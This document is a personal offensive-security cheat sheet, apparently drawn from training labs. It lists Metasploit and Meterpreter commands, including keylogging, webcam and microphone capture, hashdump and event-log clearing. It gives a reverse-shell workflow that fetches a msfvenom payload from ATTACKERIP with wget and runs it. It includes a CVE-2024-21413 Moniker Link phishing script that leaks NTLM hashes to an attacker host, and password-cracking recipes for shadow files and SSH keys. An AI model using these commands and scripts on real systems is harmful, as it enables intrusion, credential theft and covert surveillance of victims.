

# RED BOOK

## Short examples for pentesting/hacking

### METASPLOIT COMMANDS

**Msfconsole**

**Ls**

**Ping 8.8.8.8 -c1** (counter 1)

**Help set**

**History**

**use MODULENAME**

**Show options**

**Show payloads**

**Info MODULENAME**

**Back**

**Search SOMETHING**

**Search type:**auxiliary telnet

**Set RPORT:** "Remote port", target port on the vulnerable system.

**Set PAYLOAD:** The payload you will use with the exploit.

**Set LHOST:** "Localhost", the attacking machine (your AttackBox or Kali Linux) IP address.

**Set LPORT:** "Local port", the port on attacker you will use for the reverse shell to connect back to.

**Set SESSION:** Each connection established to the target system using Metasploit have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.

**Setg** -set values globally

**Unset** **unset all** -clear all parameters

**Run** - run configured exploit

**Exploit -z** -run process in background

**background** -check session name of running process

**Sessions** -check sessions info

**Session -i SESSIONNUMBER** -switch to session number

### Examples

use exploit/windows/smb/ms17\_010\_eternalblue

Show options

set rhosts 10.10.165.3

Set rhosts FILEWITHTARGETIPS.txt

### METERPRETER COMMANDS

## **Core commands**

**background:** Backgrounds the current session

**exit:** Terminate the Meterpreter session

**guid:** Get the session GUID (Globally Unique Identifier)

**help:** Displays the help menu

**info:** Displays information about a Post module

**irb:** Opens an interactive Ruby shell on the current session

**load:** Loads one or more Meterpreter extensions

**migrate:** Allows you to migrate Meterpreter to another process

**run:** Executes a Meterpreter script or Post module

**sessions:** Quickly switch to another session

## **File system commands**

**edit:** will allow you to edit a file

**search:** Will search for files

**upload:** Will upload a file or directory

**download:** Will download a file or directory

## **Networking commands**

**arp:** Displays the host ARP (Address Resolution Protocol) cache

**ifconfig:** Displays network interfaces available on the target system

**netstat:** Displays the network connections

**portfwd:** Forwards a local port to a remote service

**route:** Allows you to view and modify the routing table

## **System commands**

**clearev:** Clears the event logs

**execute:** Executes a command

**getpid:** Shows the current process identifier

**getuid:** Shows the user that Meterpreter is running as

**kill:** Terminates a process

**pkill:** Terminates processes by name

**ps:** Lists running processes

**reboot:** Reboots the remote computer

**shell:** Drops into a system command shell like CMD/Powershell

**shutdown:** Shuts down the remote computer

**sysinfo:** Gets information about the remote system, such as OS

**Others Commands** (these will be listed under different menu categories in the help menu)

**idletime:** Returns the number of seconds the remote user has been idle  
**keyscan\_dump:** Dumps the keystroke buffer  
**keyscan\_start:** Starts capturing keystrokes  
**keyscan\_stop:** Stops capturing keystrokes  
**screenshare:** Allows you to watch the remote user's desktop in real time  
**screenshot:** Grabs a screenshot of the interactive desktop  
**record\_mic:** Records audio from the default microphone for X seconds  
**webcam\_chat:** Starts a video chat  
**webcam\_list:** Lists webcams  
**webcam\_snap:** Takes a snapshot from the specified webcam  
**webcam\_stream:** Plays a video stream from the specified webcam  
**getsystem:** Attempts to elevate your privilege to that of local system  
**hashdump:** Dumps the contents of the SAM database

### **METERPRETER REVERSE SHELL EXAMPLE**

On attacker:

```
msfvenom -p php/reverse_php LHOST=ATTACKERIP LPORT=8888 -f raw > reverse_shell.php
```

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse\_tcp

set lhost ATTACKERIP

set lport 9000

run

Transfer file to target device, on attacker device **run HTTP server:**

```
python3 -m http.server 9000 (open http on port 9000)
```

On target device:

```
wget http://ATTACKERIP:9000/reverse_shell.php
```

```
chmod 777 reverse_shell.php
```

```
./reverse_shell.php
```

Now reverse shell on meterpreter is opened.

### **MONKIER LINK (CVE-2024-21413)**

Send Moniker Link to a victim, resulting in Outlook sending the user's NTLM credentials to the attacker once the hyperlink is clicked. The vulnerability here exists by modifying our hyperlink to include the ! special character and some text in our Moniker Link which results in bypassing Outlook's Protected View.

Example Monkier link in HTML code to send on target to click:

```
<a href="file://ATTACKER_IP/test!example">Click me</a>.
```

## Moniker link script for remote code execution, save as example.py

```
"""
Author: CMNatic | https://github.com/cmnnatic
Version: 1.0 | 19/02/2024
"""

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
    <p><a href="file://ATTACKER_MACHINE/test!example">Click me</a></p>

    </body>
</html>"""
message = MIMEMultipart()
message["Subject"] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content, 'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
    server.login(sender_email, password)
except Exception as err:
    print(err)
    exit(-1)
try:
    server.sendmail(sender_email, [receiver_email], message.as_string())
    print("\n Email delivered")
except Exception as error:
    print(error)
finally:
```

```
server.quit()
```

With responder tool listen on ens5 network interface:

**responder -l ens5**

Run python [exploit.py](#)

When target clicks link we will get info, NTLMv2 hash from responder window.

## JOHN THE RIPPER

### RAR2JOHN

Brute force RAR password protected file.

rar2john [rar file] > [output file]

First, extract the hash (password hash) from a RAR file:

**/opt/john/rar2john rarfile.rar > rar\_hash.txt**

Brute force file with rar hash:

**john --wordlist=/usr/share/wordlists/rockyou.txt rar\_hash.txt**

Unpack password protected rar file and enter password found.

unrar rarfile.rar

### SSH2john

**Crack the SSH private key from id\_rsa and brute force hash to get password.** ssh2john

converts the id\_rsa private key, which is used to log in to the SSH session, into a hash format that John can work with.

python3 /opt/john/ssh2john.py

ssh2john [id\_rsa private key file] > [output file]

**/opt/john/ssh2john.py FILE.id\_rsa > ssh\_hash.txt**

john --wordlist=/usr/share/wordlists/rockyou.txt ssh\_hash.txt

### Zip2john

Brute force ZIP password protected file. First create hash from zip file.

zip2john SOMEZIP.zip > ziphash.txt

Brute force hash zip file for password.

john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt

john --show ziphash.txt

### Custom rules John

Custom passwords generator.

In file: /opt/john/john.conf or /etc/john/john.conf create:

[List.Rules:THMRules] is used to define the name of your rule

Az: Takes the word and appends it with the characters you define

A0: Takes the word and prepends it with the characters you define

c: Capitalises the character positionally

[0-9]: Will include numbers 0-9

[0]: Will include only the number 0

[A-z]: Will include both upper and lowercase

[A-Z]: Will include only uppercase letters

[a-z]: Will include only lowercase letters

**Example: [List.Rules:PoloPassword]**

cAz"[0-9] [!£\$%@]"

Utilises the following: c: Capitalises the first letter, Az: Appends to the end of the word, [0-9]:

A number in the range 0-9

[!£\$%@]: The password is followed by one of these symbols.

We can then call this custom rule with argument using the --rule=PoloPassword flag.

**john --wordlist=[path to wordlist] --rule=PoloPassword [path to hashfile]**

## UNHASH ROOT USER SHADOW FILE WITH JOHN

Unshadow /etc/passwd /etc/shadow > passfile.txt

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt passfile.txt

John --show passfile.txt

## JOHN THE RIPPER - CRACK HASH

john --wordlist=[path to wordlist] --format=[format] [path to hashfile]

Use hash identifier to check for hash format:

[https://hashes.com/en/tools/hash\\_identifier](https://hashes.com/en/tools/hash_identifier)

Python hash identifier:

<https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master>

Launch hash identifier: python3 [hash-id.py](#)

Search for John formats - check hash formats for md5:

john --list=formats | grep -iF "md5"

Example full command:

**john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt**

Check cracked hash:

**Cat /home/user/src/john/run/john.pot**

## GOBUSTER CRAWLER BRUTE FORCE SEARCH WEBPAGES

Using wordlist, search for directories on webserver to detect what pages webserver have.

**gobuster -u http://WEBPAGE -w WORDLIST.txt dir**

-u is used to state the website we're scanning

-w takes a list of words to iterate through to find hidden pages

-dir search for directories

## TRANSFER FILES USING HTTP

Start http server with Python (Win) and download files on target with wget request.

On attacker (win):

**python3 -m http.server 1234 c:/testdir**

-1234 is port where http server will listen, and in last part is directory for http server (not

required). For Linux, you could use **python -m SimpleHTTPServer PORT**  
On target in CMD (win/linux/any):  
**wget http://ATTACKERIP:1234/SOMEFILEINROOTDIR**